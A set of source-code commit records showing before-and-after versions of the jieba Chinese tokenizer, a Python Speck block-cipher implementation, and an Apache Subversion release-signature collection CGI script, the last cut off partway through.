    word2 freq2 word_type2
    ...
    Word type may be ignored
    '''
    if isinstance(f, string_types):
        f = open(f, 'rb')
    content = f.read().decode('utf-8').lstrip('\ufeff')
    line_no = 0
    for line in content.splitlines():
        line_no += 1
        if not line.rstrip():
            continue
        tup = line.strip().split(" ")
        if tup[1].isdigit():
            add_word(*tup)

@require_initialized
def add_word(word, freq, tag=None):
    global FREQ, total, user_word_tag_tab
    freq = int(freq)
    FREQ[word] = freq
    total += freq
    if tag is not None:
        user_word_tag_tab[word] = tag
    for ch in xrange(len(word)):
        wfrag = word[:ch + 1]
        if wfrag not in FREQ:
            FREQ[wfrag] = 0

__ref_cut = cut
__ref_cut_for_search = cut_for_search

def __lcut(sentence):
    return list(__ref_cut(sentence, False))

def __lcut_no_hmm(sentence):
    return list(__ref_cut(sentence, False, False))

def __lcut_all(sentence):
    return list(__ref_cut(sentence, True))

def __lcut_for_search(sentence):
    return list(__ref_cut_for_search(sentence))

@require_initialized
def enable_parallel(processnum=None):
    global pool, cut, cut_for_search
    if os.name == 'nt':
        raise Exception("jieba: parallel mode only supports posix system")
    from multiprocessing import Pool, cpu_count
    if processnum is None:
        processnum = cpu_count()
    pool = Pool(processnum)

    def pcut(sentence, cut_all=False, HMM=True):
        parts = strdecode(sentence).splitlines(True)
        if cut_all:
            result = pool.map(__lcut_all, parts)
        elif HMM:
            result = pool.map(__lcut, parts)
        else:
            result = pool.map(__lcut_no_hmm, parts)
        for r in result:
            for w in r:
                yield w

    def pcut_for_search(sentence):
        parts = strdecode(sentence).splitlines(True)
        result = pool.map(__lcut_for_search, parts)
        for r in result:
            for w in r:
                yield w

    cut = pcut
    cut_for_search = pcut_for_search

def disable_parallel():
    global pool, cut, cut_for_search
    if pool:
        pool.close()
        pool = None
    cut = __ref_cut
    cut_for_search = __ref_cut_for_search

def set_dictionary(dictionary_path):
    global initialized, DICTIONARY
    with DICT_LOCK:
        abs_path = os.path.normpath(os.path.join(os.getcwd(), dictionary_path))
        if not os.path.exists(abs_path):
            raise Exception("jieba: path does not exist: " + abs_path)
        DICTIONARY = abs_path
        initialized = False

def get_abs_path_dict():
    return os.path.join(_curpath, DICTIONARY)

def tokenize(unicode_sentence, mode="default", HMM=True):
    """Tokenize a sentence and yields tuples of (word, start, end)
    Parameter:
        - sentence: the str(unicode) to be segmented.
        - mode: "default" or "search", "search" is for finer segmentation.
        - HMM: whether to use the Hidden Markov Model.
    """
    if not isinstance(unicode_sentence, text_type):
        raise Exception("jieba: the input parameter should be unicode.")
    start = 0
    if mode == 'default':
        for w in cut(unicode_sentence, HMM=HMM):
            width = len(w)
            yield (w, start, start + width)
            start += width
    else:
        for w in cut(unicode_sentence, HMM=HMM):
            width = len(w)
            if len(w) > 2:
                for i in xrange(len(w) - 1):
                    gram2 = w[i:i + 2]
                    if FREQ.get(gram2):
                        yield (gram2, start + i, start + i + 2)
            if len(w) > 3:
                for i in xrange(len(w) - 2):
                    gram3 = w[i:i + 3]
                    if FREQ.get(gram3):
                        yield (gram3, start + i, start + i + 3)
            yield (w, start, start + width)
            start += width
<|endoftext|>


<commit_before>from __future__ import print_function

class SpeckCipher:
    # valid cipher configurations stored:
    # block_size:{key_size:number_rounds}
    __valid_setups = {32: {64: 22},
                      48: {72: 22, 96: 23},
                      64: {96: 26, 128: 27},
                      96: {96: 28, 144: 29},
                      128: {128: 32, 192: 33, 256: 34}}

    __valid_modes = ['ECB', 'CTR', 'CBC', 'PCBC', 'CFB', 'OFB']

    def encrypt_round(self, x, y, k):
        """Complete One Round of Fiestal Operation"""
        rs_x = ((x << (self.word_size - self.alpha_shift)) + (x >> self.alpha_shift)) & self.mod_mask

        add_sxy = (rs_x + y) & self.mod_mask

        new_x = k ^ add_sxy

        ls_y = ((y >> (self.word_size - self.beta_shift)) + (y << self.beta_shift)) & self.mod_mask

        new_y = new_x ^ ls_y

        return new_x, new_y

    def decrypt_round(self, x, y, k):
        """Complete One Round of Inverse Fiestal Operation"""

        xor_xy = x ^ y

        new_y = ((xor_xy << (self.word_size - self.beta_shift)) + (xor_xy >> self.beta_shift)) & self.mod_mask

        xor_xk = x ^ k

        if xor_xk >= new_y:
            msub = xor_xk - new_y
        else:
            msub = ((xor_xk - new_y) % self.mod_mask) + 1

        new_x = ((msub >> (self.word_size - self.alpha_shift)) + (msub << self.alpha_shift)) & self.mod_mask

        return new_x, new_y

    def __init__(self, key, key_size=128, block_size=128, mode='ECB', init=0, counter=0):

        # Setup block/word size
        try:
            self.possible_setups = self.__valid_setups[block_size]
            self.word_size = block_size >> 1
        except KeyError:
            print('Invalid block size!')
            print('Please use one of the following block sizes:', [x for x in self.__valid_setups.keys()])
            raise

        # Setup Number of Rounds and Key Size
        try:
            self.rounds = self.possible_setups[key_size]
            self.key_size = key_size
        except KeyError:
            print('Invalid key size for selected block size!!')
            print('Please use one of the following key sizes:', [x for x in self.possible_setups.keys()])
            raise

        # Create Properly Sized bit mask for truncating addition and left shift outputs
        self.mod_mask = (2 ** self.word_size) - 1

        # Setup Circular Shift Parameters
        if block_size == 32:
            self.beta_shift = 2
            self.alpha_shift = 7
        else:
            self.beta_shift = 3
            self.alpha_shift = 8

        # Parse the given iv and truncate it to the block length
        try:
            self.iv = init & ((2 ** block_size) - 1)
        except (ValueError, TypeError):
            print('Invalid IV Value!')
            print('Please Provide IV as int')
            raise

        # Parse the given Counter and truncate it to the block length
        try:
            self.counter = counter & ((2 ** block_size) - 1)
        except (ValueError, TypeError):
            print('Invalid Counter Value!')
            print('Please Provide Counter as int')
            raise

        # Check Cipher Mode
        try:
            position = self.__valid_modes.index(mode)
            self.mode = self.__valid_modes[position]
        except ValueError:
            print('Invalid cipher mode!')
            print('Please use one of the following block cipher modes:', self.__valid_modes)
            raise

        # Parse the given key and truncate it to the key length
        try:
            self.key = key & ((2 ** self.key_size) - 1)
        except (ValueError, TypeError):
            print('Invalid Key Value!')
            print('Please Provide Key as int')
            raise

        # Pre-compile key schedule
        self.key_schedule = [self.key & self.mod_mask]
        l_schedule = [(self.key >> (x * self.word_size)) & self.mod_mask for x in
                      range(1, self.key_size // self.word_size)]

        for x in range(self.rounds - 1):
            new_l_k = self.encrypt_round(l_schedule[x], self.key_schedule[x], x)
            l_schedule.append(new_l_k[0])
            self.key_schedule.append(new_l_k[1])

    def encrypt(self, plaintext):
        try:
            b = plaintext >> self.word_size
            a = plaintext & self.mod_mask
        except TypeError:
            print('Invalid plaintext!')
            print('Please provide plaintext at int')
            raise

        if self.mode == 'ECB':
            for x in range(self.rounds):
                b, a = self.encrypt_round(b, a, self.key_schedule[x])

        elif self.mode == 'CTR':
            d = self.iv & self.mod_mask
            c = self.counter & self.mod_mask
            for x in range(self.rounds):
                d, c = self.encrypt_round(d, c, self.key_schedule[x])
            b ^= d
            a ^= c
            self.counter += 1

        elif self.mode == 'CBC':
            d = self.iv >> self.word_size
            c = self.iv & self.mod_mask
            b ^= d
            a ^= c
            for x in range(self.rounds):
                b, a = self.encrypt_round(b, a, self.key_schedule[x])

            self.iv = (b << self.word_size) + a

        elif self.mode == 'PCBC':
            d = self.iv >> self.word_size
            c = self.iv & self.mod_mask
            f, e = b, a
            b ^= d
            a ^= c
            for x in range(self.rounds):
                b, a = self.encrypt_round(b, a, self.key_schedule[x])

            self.iv = ((b ^ f) << self.word_size) + (a ^ e)

        elif self.mode == 'CFB':
            d = self.iv >> self.word_size
            c = self.iv & self.mod_mask
            for x in range(self.rounds):
                d, c = self.encrypt_round(d, c, self.key_schedule[x])
            b ^= d
            a ^= c
            self.iv = (b << self.word_size) + a

        elif self.mode == 'OFB':
            d = self.iv >> self.word_size
            c = self.iv & self.mod_mask
            for x in range(self.rounds):
                d, c = self.encrypt_round(d, c, self.key_schedule[x])

            self.iv = (d << self.word_size) + c

            b ^= d
            a ^= c

        ciphertext = (b << self.word_size) + a

        return ciphertext

    def decrypt(self, ciphertext):
        try:
            b = ciphertext >> self.word_size
            a = ciphertext & self.mod_mask
        except TypeError:
            print('Invalid plaintext!')
            print('Please provide plaintext at int')
            raise

        if self.mode == 'ECB':
            for x in range(self.rounds):
                b, a = self.decrypt_round(b, a, self.key_schedule[self.rounds - (x + 1)])

        elif self.mode == 'CTR':
            pass

        elif self.mode == 'CBC':
            pass

        elif self.mode == 'PCBC':
            pass

        elif self.mode == 'CFB':
            pass

        elif self.mode == 'OFB':
            pass

        plaintext = (b << self.word_size) + a

        return plaintext

if __name__ == "__main__":
    # y = SpeckCipher('0x11223344556677889900AABBCCDDEEFF')
    # y = SpeckCipher('0X11223344556677889900AABBCCDDEEFF')
    # y = SpeckCipher('ThekeyisPASSWORD')
    # y = SpeckCipher(1)
    # y = SpeckCipher(121423459234858293745823758932759823759823758932759263757623785623785)
    # u = bytearray(b'ThekeyisPASSWORD')
    # u = bytearray([12,34,56,78,89,0xAA,00,0x00,34])
    # y = SpeckCipher(u)
    # y = SpeckCipher(123)
    r = SpeckCipher(6.22, mode='ERT')<commit_msg>Cleanup Speck module<commit_after>from __future__ import print_function

class SpeckCipher:
    # valid cipher configurations stored:
    # block_size:{key_size:number_rounds}
    __valid_setups = {32: {64: 22},
                      48: {72: 22, 96: 23},
                      64: {96: 26, 128: 27},
                      96: {96: 28, 144: 29},
                      128: {128: 32, 192: 33, 256: 34}}

    __valid_modes = ['ECB', 'CTR', 'CBC', 'PCBC', 'CFB', 'OFB']

    def encrypt_round(self, x, y, k):
        """Complete One Round of Fiestal Operation"""
        rs_x = ((x << (self.word_size - self.alpha_shift)) + (x >> self.alpha_shift)) & self.mod_mask

        add_sxy = (rs_x + y) & self.mod_mask

        new_x = k ^ add_sxy

        ls_y = ((y >> (self.word_size - self.beta_shift)) + (y << self.beta_shift)) & self.mod_mask

        new_y = new_x ^ ls_y

        return new_x, new_y

    def decrypt_round(self, x, y, k):
        """Complete One Round of Inverse Fiestal Operation"""

        xor_xy = x ^ y

        new_y = ((xor_xy << (self.word_size - self.beta_shift)) + (xor_xy >> self.beta_shift)) & self.mod_mask

        xor_xk = x ^ k

        if xor_xk >= new_y:
            msub = xor_xk - new_y
        else:
            msub = ((xor_xk - new_y) % self.mod_mask) + 1

        new_x = ((msub >> (self.word_size - self.alpha_shift)) + (msub << self.alpha_shift)) & self.mod_mask

        return new_x, new_y

    def __init__(self, key, key_size=128, block_size=128, mode='ECB', init=0, counter=0):

        # Setup block/word size
        try:
            self.possible_setups = self.__valid_setups[block_size]
            self.word_size = block_size >> 1
        except KeyError:
            print('Invalid block size!')
            print('Please use one of the following block sizes:', [x for x in self.__valid_setups.keys()])
            raise

        # Setup Number of Rounds and Key Size
        try:
            self.rounds = self.possible_setups[key_size]
            self.key_size = key_size
        except KeyError:
            print('Invalid key size for selected block size!!')
            print('Please use one of the following key sizes:', [x for x in self.possible_setups.keys()])
            raise

        # Create Properly Sized bit mask for truncating addition and left shift outputs
        self.mod_mask = (2 ** self.word_size) - 1

        # Setup Circular Shift Parameters
        if block_size == 32:
            self.beta_shift = 2
            self.alpha_shift = 7
        else:
            self.beta_shift = 3
            self.alpha_shift = 8

        # Parse the given iv and truncate it to the block length
        try:
            self.iv = init & ((2 ** block_size) - 1)
        except (ValueError, TypeError):
            print('Invalid IV Value!')
            print('Please Provide IV as int')
            raise

        # Parse the given Counter and truncate it to the block length
        try:
            self.counter = counter & ((2 ** block_size) - 1)
        except (ValueError, TypeError):
            print('Invalid Counter Value!')
            print('Please Provide Counter as int')
            raise

        # Check Cipher Mode
        try:
            position = self.__valid_modes.index(mode)
            self.mode = self.__valid_modes[position]
        except ValueError:
            print('Invalid cipher mode!')
            print('Please use one of the following block cipher modes:', self.__valid_modes)
            raise

        # Parse the given key and truncate it to the key length
        try:
            self.key = key & ((2 ** self.key_size) - 1)
        except (ValueError, TypeError):
            print('Invalid Key Value!')
            print('Please Provide Key as int')
            raise

        # Pre-compile key schedule
        self.key_schedule = [self.key & self.mod_mask]
        l_schedule = [(self.key >> (x * self.word_size)) & self.mod_mask for x in
                      range(1, self.key_size // self.word_size)]

        for x in range(self.rounds - 1):
            new_l_k = self.encrypt_round(l_schedule[x], self.key_schedule[x], x)
            l_schedule.append(new_l_k[0])
            self.key_schedule.append(new_l_k[1])

    def encrypt(self, plaintext):
        try:
            b = plaintext >> self.word_size
            a = plaintext & self.mod_mask
        except TypeError:
            print('Invalid plaintext!')
            print('Please provide plaintext at int')
            raise

        if self.mode == 'ECB':
            for x in range(self.rounds):
                b, a = self.encrypt_round(b, a, self.key_schedule[x])

        elif self.mode == 'CTR':
            d = self.iv & self.mod_mask
            c = self.counter & self.mod_mask
            for x in range(self.rounds):
                d, c = self.encrypt_round(d, c, self.key_schedule[x])
            b ^= d
            a ^= c
            self.counter += 1

        elif self.mode == 'CBC':
            d = self.iv >> self.word_size
            c = self.iv & self.mod_mask
            b ^= d
            a ^= c
            for x in range(self.rounds):
                b, a = self.encrypt_round(b, a, self.key_schedule[x])

            self.iv = (b << self.word_size) + a

        elif self.mode == 'PCBC':
            d = self.iv >> self.word_size
            c = self.iv & self.mod_mask
            f, e = b, a
            b ^= d
            a ^= c
            for x in range(self.rounds):
                b, a = self.encrypt_round(b, a, self.key_schedule[x])

            self.iv = ((b ^ f) << self.word_size) + (a ^ e)

        elif self.mode == 'CFB':
            d = self.iv >> self.word_size
            c = self.iv & self.mod_mask
            for x in range(self.rounds):
                d, c = self.encrypt_round(d, c, self.key_schedule[x])
            b ^= d
            a ^= c
            self.iv = (b << self.word_size) + a

        elif self.mode == 'OFB':
            d = self.iv >> self.word_size
            c = self.iv & self.mod_mask
            for x in range(self.rounds):
                d, c = self.encrypt_round(d, c, self.key_schedule[x])

            self.iv = (d << self.word_size) + c

            b ^= d
            a ^= c

        ciphertext = (b << self.word_size) + a

        return ciphertext

    def decrypt(self, ciphertext):
        try:
            b = ciphertext >> self.word_size
            a = ciphertext & self.mod_mask
        except TypeError:
            print('Invalid plaintext!')
            print('Please provide plaintext at int')
            raise

        if self.mode == 'ECB':
            for x in range(self.rounds):
                b, a = self.decrypt_round(b, a, self.key_schedule[self.rounds - (x + 1)])

        elif self.mode == 'CTR':
            pass

        elif self.mode == 'CBC':
            pass

        elif self.mode == 'PCBC':
            pass

        elif self.mode == 'CFB':
            pass

        elif self.mode == 'OFB':
            pass

        plaintext = (b << self.word_size) + a

        return plaintext

if __name__ == "__main__":
    cpher = SpeckCipher(0x1f1e1d1c1b1a191817161514131211100f0e0d0c0b0a09080706050403020100, 256, 128, 'ECB')
    g = cpher.encrypt(0x65736f6874206e49202e72656e6f6f70)
    print(hex(g))
<|endoftext|>


<commit_before>import re
import math
import os,sys
import pprint
import finalseg
import time
import tempfile
import marshal

FREQ = {}
total =0.0

def gen_trie(f_name):
	lfreq = {}
	trie = {}
	ltotal = 0.0
	content = open(f_name,'rb').read().decode('utf-8')
	for line in content.split("\n"):
		word,freq,_ = line.split(" ")
		freq = float(freq)
		lfreq[word] = freq
		ltotal+=freq
		p = trie
		for c in word:
			if not c in p:
				p[c] ={}
			p = p[c]
		p['']='' #ending flag
	return trie, lfreq,ltotal

_curpath=os.path.normpath( os.path.join( os.getcwd(), os.path.dirname(__file__) )  )

print >> sys.stderr, "Building Trie..."
t1 = time.time()
cache_file = os.path.join(tempfile.gettempdir(),"jieba.cache")
load_from_cache_fail = True
if os.path.exists(cache_file) and os.path.getmtime(cache_file)>os.path.getmtime(os.path.join(_curpath,"dict.txt")):
	print >> sys.stderr, "loading model from cache"
	try:
		trie,FREQ,total,min_freq = marshal.load(open(cache_file,'rb'))
		load_from_cache_fail = False
	except:
		load_from_cache_fail = True

if load_from_cache_fail:
	trie,FREQ,total = gen_trie(os.path.join(_curpath,"dict.txt"))
	FREQ = dict([(k,float(v)/total) for k,v in FREQ.iteritems()]) #normalize
	min_freq = min(FREQ.itervalues())
	print >> sys.stderr, "dumping model to file cache"
	marshal.dump((trie,FREQ,total,min_freq),open(cache_file,'wb'))

print >> sys.stderr, "loading model cost ", time.time() - t1, "seconds."
print >> sys.stderr, "Trie has been built succesfully."

def __cut_all(sentence):
	dag = get_DAG(sentence)
	old_j = -1
	for k,L in dag.iteritems():
		if len(L)==1 and k>old_j:
			yield sentence[k:L[0]+1]
			old_j = L[0]
		else:
			for j in L:
				if j>k:
					yield sentence[k:j+1]
					old_j = j

def calc(sentence,DAG,idx,route):
	N = len(sentence)
	route[N] = (1.0,'')
	for idx in xrange(N-1,-1,-1):
		candidates = [ ( FREQ.get(sentence[idx:x+1],min_freq) * route[x+1][0],x ) for x in DAG[idx] ]
		route[idx] = max(candidates)

def get_DAG(sentence):
	N = len(sentence)
	i,j=0,0
	p = trie
	DAG = {}
	while i<N:
		c = sentence[j]
		if c in p:
			p = p[c]
			if '' in p:
				if not i in DAG:
					DAG[i]=[]
				DAG[i].append(j)
			j+=1
			if j>=N:
				i+=1
				j=i
				p=trie
		else:
			p = trie
			i+=1
			j=i
	for i in xrange(len(sentence)):
		if not i in DAG:
			DAG[i] =[i]
	return DAG

def __cut_DAG(sentence):
	DAG = get_DAG(sentence)
	route ={}
	calc(sentence,DAG,0,route=route)
	x = 0
	buf =u''
	N = len(sentence)
	while x<N:
		y = route[x][1]+1
		l_word = sentence[x:y]
		if y-x==1:
			buf+= l_word
		else:
			if len(buf)>0:
				if len(buf)==1:
					yield buf
					buf=u''
				else:
					regognized = finalseg.__cut(buf)
					for t in regognized:
						yield t
					buf=u''
			yield l_word
		x =y

	if len(buf)>0:
		if len(buf)==1:
			yield buf
		else:
			regognized = finalseg.__cut(buf)
			for t in regognized:
				yield t

def cut(sentence,cut_all=False):
	if not ( type(sentence) is unicode):
		try:
			sentence = sentence.decode('utf-8')
		except:
			sentence = sentence.decode('gbk','ignore')
	re_han, re_skip = re.compile(ur"([\u4E00-\u9FA5]+)"), re.compile(ur"[^a-zA-Z0-9+#\n]")
	blocks = re_han.split(sentence)
	cut_block = __cut_DAG
	if cut_all:
		cut_block = __cut_all
	for blk in blocks:
		if re_han.match(blk):
				#pprint.pprint(__cut_DAG(blk))
				for word in cut_block(blk):
					yield word
		else:
			tmp = re_skip.split(blk)
			for x in tmp:
				if x!="":
					yield x

def load_userdict(f):
	global trie,total,FREQ
	if isinstance(f, (str, unicode)):
		f = open(f, 'rb')
	content = f.read().decode('utf-8')
	for line in content.split("\n"):
		if line.rstrip()=='': continue
		word,freq = line.split(" ")
		freq = float(freq)
		FREQ[word] = freq / total
		p = trie
		for c in word:
			if not c in p:
				p[c] ={}
			p = p[c]
		p['']='' #ending flag
<commit_msg>add new method: cut_for_search(sentence), which can get better recall rate for search engine's reverse index<commit_after>import re
import math
import os,sys
import pprint
import finalseg
import time
import tempfile
import marshal

FREQ = {}
total =0.0

def gen_trie(f_name):
	lfreq = {}
	trie = {}
	ltotal = 0.0
	content = open(f_name,'rb').read().decode('utf-8')
	for line in content.split("\n"):
		word,freq,_ = line.split(" ")
		freq = float(freq)
		lfreq[word] = freq
		ltotal+=freq
		p = trie
		for c in word:
			if not c in p:
				p[c] ={}
			p = p[c]
		p['']='' #ending flag
	return trie, lfreq,ltotal

_curpath=os.path.normpath( os.path.join( os.getcwd(), os.path.dirname(__file__) )  )

print >> sys.stderr, "Building Trie..."
t1 = time.time()
cache_file = os.path.join(tempfile.gettempdir(),"jieba.cache")
load_from_cache_fail = True
if os.path.exists(cache_file) and os.path.getmtime(cache_file)>os.path.getmtime(os.path.join(_curpath,"dict.txt")):
	print >> sys.stderr, "loading model from cache"
	try:
		trie,FREQ,total,min_freq = marshal.load(open(cache_file,'rb'))
		load_from_cache_fail = False
	except:
		load_from_cache_fail = True

if load_from_cache_fail:
	trie,FREQ,total = gen_trie(os.path.join(_curpath,"dict.txt"))
	FREQ = dict([(k,float(v)/total) for k,v in FREQ.iteritems()]) #normalize
	min_freq = min(FREQ.itervalues())
	print >> sys.stderr, "dumping model to file cache"
	marshal.dump((trie,FREQ,total,min_freq),open(cache_file,'wb'))

print >> sys.stderr, "loading model cost ", time.time() - t1, "seconds."
print >> sys.stderr, "Trie has been built succesfully."

def __cut_all(sentence):
	dag = get_DAG(sentence)
	old_j = -1
	for k,L in dag.iteritems():
		if len(L)==1 and k>old_j:
			yield sentence[k:L[0]+1]
			old_j = L[0]
		else:
			for j in L:
				if j>k:
					yield sentence[k:j+1]
					old_j = j

def calc(sentence,DAG,idx,route):
	N = len(sentence)
	route[N] = (1.0,'')
	for idx in xrange(N-1,-1,-1):
		candidates = [ ( FREQ.get(sentence[idx:x+1],min_freq) * route[x+1][0],x ) for x in DAG[idx] ]
		route[idx] = max(candidates)

def get_DAG(sentence):
	N = len(sentence)
	i,j=0,0
	p = trie
	DAG = {}
	while i<N:
		c = sentence[j]
		if c in p:
			p = p[c]
			if '' in p:
				if not i in DAG:
					DAG[i]=[]
				DAG[i].append(j)
			j+=1
			if j>=N:
				i+=1
				j=i
				p=trie
		else:
			p = trie
			i+=1
			j=i
	for i in xrange(len(sentence)):
		if not i in DAG:
			DAG[i] =[i]
	return DAG

def __cut_DAG(sentence):
	DAG = get_DAG(sentence)
	route ={}
	calc(sentence,DAG,0,route=route)
	x = 0
	buf =u''
	N = len(sentence)
	while x<N:
		y = route[x][1]+1
		l_word = sentence[x:y]
		if y-x==1:
			buf+= l_word
		else:
			if len(buf)>0:
				if len(buf)==1:
					yield buf
					buf=u''
				else:
					regognized = finalseg.__cut(buf)
					for t in regognized:
						yield t
					buf=u''
			yield l_word
		x =y

	if len(buf)>0:
		if len(buf)==1:
			yield buf
		else:
			regognized = finalseg.__cut(buf)
			for t in regognized:
				yield t

def cut(sentence,cut_all=False):
	if not ( type(sentence) is unicode):
		try:
			sentence = sentence.decode('utf-8')
		except:
			sentence = sentence.decode('gbk','ignore')
	re_han, re_skip = re.compile(ur"([\u4E00-\u9FA5]+)"), re.compile(ur"[^a-zA-Z0-9+#\n]")
	blocks = re_han.split(sentence)
	cut_block = __cut_DAG
	if cut_all:
		cut_block = __cut_all
	for blk in blocks:
		if re_han.match(blk):
				#pprint.pprint(__cut_DAG(blk))
				for word in cut_block(blk):
					yield word
		else:
			tmp = re_skip.split(blk)
			for x in tmp:
				if x!="":
					yield x

def cut_for_search(sentence):
	words = cut(sentence)
	for w in words:
		if len(w)>2:
			for i in xrange(len(w)-1):
				gram2 = w[i:i+2]
				if gram2 in FREQ:
					yield gram2
		if len(w)>3:
			for i in xrange(len(w)-2):
				gram3 = w[i:i+3]
				if gram3 in FREQ:
					yield gram3
		yield w

def load_userdict(f):
	global trie,total,FREQ
	if isinstance(f, (str, unicode)):
		f = open(f, 'rb')
	content = f.read().decode('utf-8')
	for line in content.split("\n"):
		if line.rstrip()=='': continue
		word,freq = line.split(" ")
		freq = float(freq)
		FREQ[word] = freq / total
		p = trie
		for c in word:
			if not c in p:
				p[c] ={}
			p = p[c]
		p['']='' #ending flag
<|endoftext|>


<commit_before>#!/usr/bin/env python
#
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements.  See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership.  The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License.  You may obtain a copy of the License at
#
#   http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied.  See the License for the
# specific language governing permissions and limitations
# under the License.
#
#
# A script intended to be useful in helping to collect signatures for a
# release.  This is a pretty rough, and patches are welcome to improve it.
#
# Some thoughts about future improvement:
#  * Store all sigs, etc, in a database
#    - This helps with idempotence
#    - Also allows display of per-file and per-release statistics
#  * A download link on the page itself
#  * Make the textarea access multiple signatures
#  * Don't require the signer to specify which file they are signing
#    - Just check the sign against all the files for that release
#  * Make use of the python-gpg package (http://code.google.com/p/python-gnupg/)
#  * Post to IRC when a new signature is collected
#    - Since we don't want to have a long running bot, perhaps we could
#      also patch wayita to accept and then echo a privmsg?
#

import sys, os

def make_config():
  'Output a blank config file'

  if os.path.exists('config.py'):
    print "'config.py' already exists!'"
    sys.exit(1)

  conf = open('config.py', 'w')
  conf.write("version = ''\n")
  conf.write("sigdir = ''\n")
  conf.write("filesdir = ''\n")
  conf.close()

  print "'config.py' generated"

actions = { 'make_config' : make_config }

if __name__ == '__main__':
  if len(sys.argv) > 1:
    if sys.argv[1] in actions:
      actions[sys.argv[1]]()
      sys.exit(0)

# Stuff below this line is the web-facing side
# ======================================================================

import cgi
import cgitb
cgitb.enable()

import string, subprocess, re

try:
  sys.path.append(os.path.dirname(sys.argv[0]))
  import config
except:
  print 'Content-type: text/plain'
  print
  print 'Cannot find config file'
  sys.exit(1)

r = re.compile('\[GNUPG\:\] GOODSIG (\w*) (.*)')

def files():
  for f in os.listdir(config.filesdir):
    if config.version in f and (f.endswith('.tar.gz') or f.endswith('.zip') or f.endswith('.tar.bz2')):
      yield f

shell_content = '''
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<title>Signature collection for Subversion $version</title>

This page is used to collect signatures for the proposed release of
Apache Subversion $version.

$content

'''

def default_page():
  c = '''
<form method="post">

Paste signature in the area below:

<textarea name="signature" rows="10" cols="80"></textarea>

<input type="submit" value="Submit" />
</form>
'''

  return c

def save_valid_sig(filename, signature):
  f = open(os.path.join(config.sigdir, filename + '.asc'), 'a')
  f.write(signature)

def verify_sig_for_file(signature, filename):
  args = ['gpg', '--logger-fd', '1', '--no-tty',
          '--status-fd', '2', '--verify', '-',
          os.path.join(config.filesdir, filename)]

  gpg = subprocess.Popen(args,
                         stdin=subprocess.PIPE,
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

  gpg.stdin.write(signature)
  gpg.stdin.close()

  rc = gpg.wait()
  output = gpg.stdout.read()
  status = gpg.stderr.read()

  if rc:
    return (False, status + output)

  lines = status.split('\n')
  for line in lines:
    match = r.search(line)
    if match:
      keyid = match.group(1)[-8:]
      user = match.group(2)

  return (True, (filename, keyid, user))

def verify_sig(signature):
  all_failures = ""
  for filename in files():
    (verified, result) = verify_sig_for_file(signature, filename)
    if verified:
      return (verified, result)
    else:
      all_failures += "%s:\n[[[\n%s]]]\n\n" % (filename, result)
  return (False, all_failures)

def process_sig(signature):
  c_verified = '''

The signature is verified!

Filename: %s

Key ID: %s

User: %s

This signature has been saved, and will be included as part of the
    release signatures.  Please send mail to
    dev@subversion.apache.org
    acknowledging your successful signature.

'''
  c_unverified = '''

The signature was not able to be verified!

Signature:
%s

Reason:

%s

Please talk to the release manager if this is in error.

'''

  (verified, result) = verify_sig(signature)

  if verified:
    (filename, keyid, user) = result
    save_valid_sig(filename, signature)

    # TODO: record (filename, keyid) in a database
    return c_verified % (filename, keyid, user)
  else:
    return c_unverified % (signature, result)

def main():
  print "Content-Type: text/html"
  print

  form = cgi.FieldStorage()
  if 'signature' not in form:
    content = default_page()
  else:
    content = process_sig(form['signature'].value)

  # These are "global" values, not specific to our action.
  mapping = {
      'version' : config.version,
      'content' : content,
    }

  template = string.Template(shell_content)
  print template.safe_substitute(mapping)

if __name__ == '__main__':
  main()
<commit_msg>Allow multiple signatures --- and arbitrary text in between (as with patch(1)) --- in the input textarea.<commit_after>#!/usr/bin/env python
#
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements.  See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership.  The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License.  You may obtain a copy of the License at
#
#   http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied.  See the License for the
# specific language governing permissions and limitations
# under the License.
#
#
# A script intended to be useful in helping to collect signatures for a
# release.  This is a pretty rough, and patches are welcome to improve it.
#
# Some thoughts about future improvement:
#  * Store all sigs, etc, in a database
#    - This helps with idempotence
#    - Also allows display of per-file and per-release statistics
#  * A download link on the page itself
#  * Make the textarea access multiple signatures
#  * Don't require the signer to specify which file they are signing
#    - Just check the sign against all the files for that release
#  * Make use of the python-gpg package (http://code.google.com/p/python-gnupg/)
#  * Post to IRC when a new signature is collected
#    - Since we don't want to have a long running bot, perhaps we could
#      also patch wayita to accept and then echo a privmsg?
#

import sys, os

def make_config():
  'Output a blank config file'

  if os.path.exists('config.py'):
    print "'config.py' already exists!'"
    sys.exit(1)

  conf = open('config.py', 'w')
  conf.write("version = ''\n")
  conf.write("sigdir = ''\n")
  conf.write("filesdir = ''\n")
  conf.close()

  print "'config.py' generated"

actions = { 'make_config' : make_config }

if __name__ == '__main__':
  if len(sys.argv) > 1:
    if sys.argv[1] in actions:
      actions[sys.argv[1]]()
      sys.exit(0)

# Stuff below this line is the web-facing side
# ======================================================================

import cgi
import cgitb
cgitb.enable()

import string, subprocess, re

try:
  sys.path.append(os.path.dirname(sys.argv[0]))
  import config
except:
  print 'Content-type: text/plain'
  print
  print 'Cannot find config file'
  sys.exit(1)

r = re.compile('\[GNUPG\:\] GOODSIG (\w*) (.*)')

def files():
  for f in os.listdir(config.filesdir):
    if config.version in f and (f.endswith('.tar.gz') or f.endswith('.zip') or f.endswith('.tar.bz2')):
      yield f

def ordinal(N):
  try:
    return [None, 'first', 'second', 'third', 'fourth', 'fifth', 'sixth'][N]
  except:
    # Huh?  We only have six files to sign.
    return "%dth" % N

shell_content = '''
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

